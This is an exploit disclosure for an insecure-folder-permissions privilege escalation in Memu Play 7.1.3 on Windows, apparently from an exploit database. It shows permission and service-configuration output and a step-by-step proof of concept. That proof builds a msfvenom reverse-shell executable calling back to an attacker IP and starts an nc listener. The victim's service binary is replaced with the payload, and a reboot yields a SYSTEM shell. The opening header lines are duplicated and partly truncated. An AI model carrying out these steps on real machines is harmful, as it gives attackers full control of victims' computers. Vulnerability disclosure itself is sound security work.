# Discovery by: chuyreds
# Discovery Date: 2020-03-08
# Vendor Homepage: https://www.memuplay.com/
# Software Link : # Exploit Title: Memu Play 7.1.3 - Insecure Folder Permissions
# Discovery by: chuyreds
# Discovery Date: 2020-03-08
# Vendor Homepage: https://www.memuplay.com/
# Software Link : https://www.memuplay.com/download-en.php?file_name=Memu-Setup&from=official_release
# Tested Version: 7.1.3
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es
# Description:
# Memu Play 7.1.3 suffers from Privilege Escalation due to insecure file permissions
# Prerequisites
# Local, Low privilege access with restart capabilities
# Details
# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.
# A low privilege account is able to rename the MemuService.exe file located in this same path and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authoritysystem) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.
C:>icacls "C:Program Files (x86)MicrovirtMEmuMemuService.exe"
C:Program Files (x86)MicrovirtMEmuMemuService.exe Everyone:(I)(F)
BUILTINAdministradores:(I)(F)
BUILTINUsuarios:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITYTODOS LOS PAQUETES DE APLICACIÓN RESTRINGIDOS:(I)(RX)
Se procesaron correctamente 1 archivos; error al procesar 0 archivos
C:>sc qc MEmuSVC
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: MEmuSVC
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: "C:Program Files (x86)MicrovirtMEmuMemuService.exe"
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : MEmuSVC
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem
# Proof of Concept
1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.130 LPORT=443 -f exe > /var/www/html/MemuService.exe
2. Setup listener and ensure apache is running on attacking machine
nc -lvp 443
service apache2 start
3. Download malicious .exe on victim machine
Open browser to http://192.168.1.130/MemuService.exe and download
4. Overwrite file and copy malicious .exe.
Renename C:Program Files (x86)MicrovirtMEmuMemuService.exe > MemuService.bak
Copy/Move downloaded 'MemuService.exe' file to C:Program Files (x86)MicrovirtMEmu
5. Restart victim machine
6. Reverse Shell on attacking machine opens
C:Windowssystem32>whoami
whoami
nt authoritysystem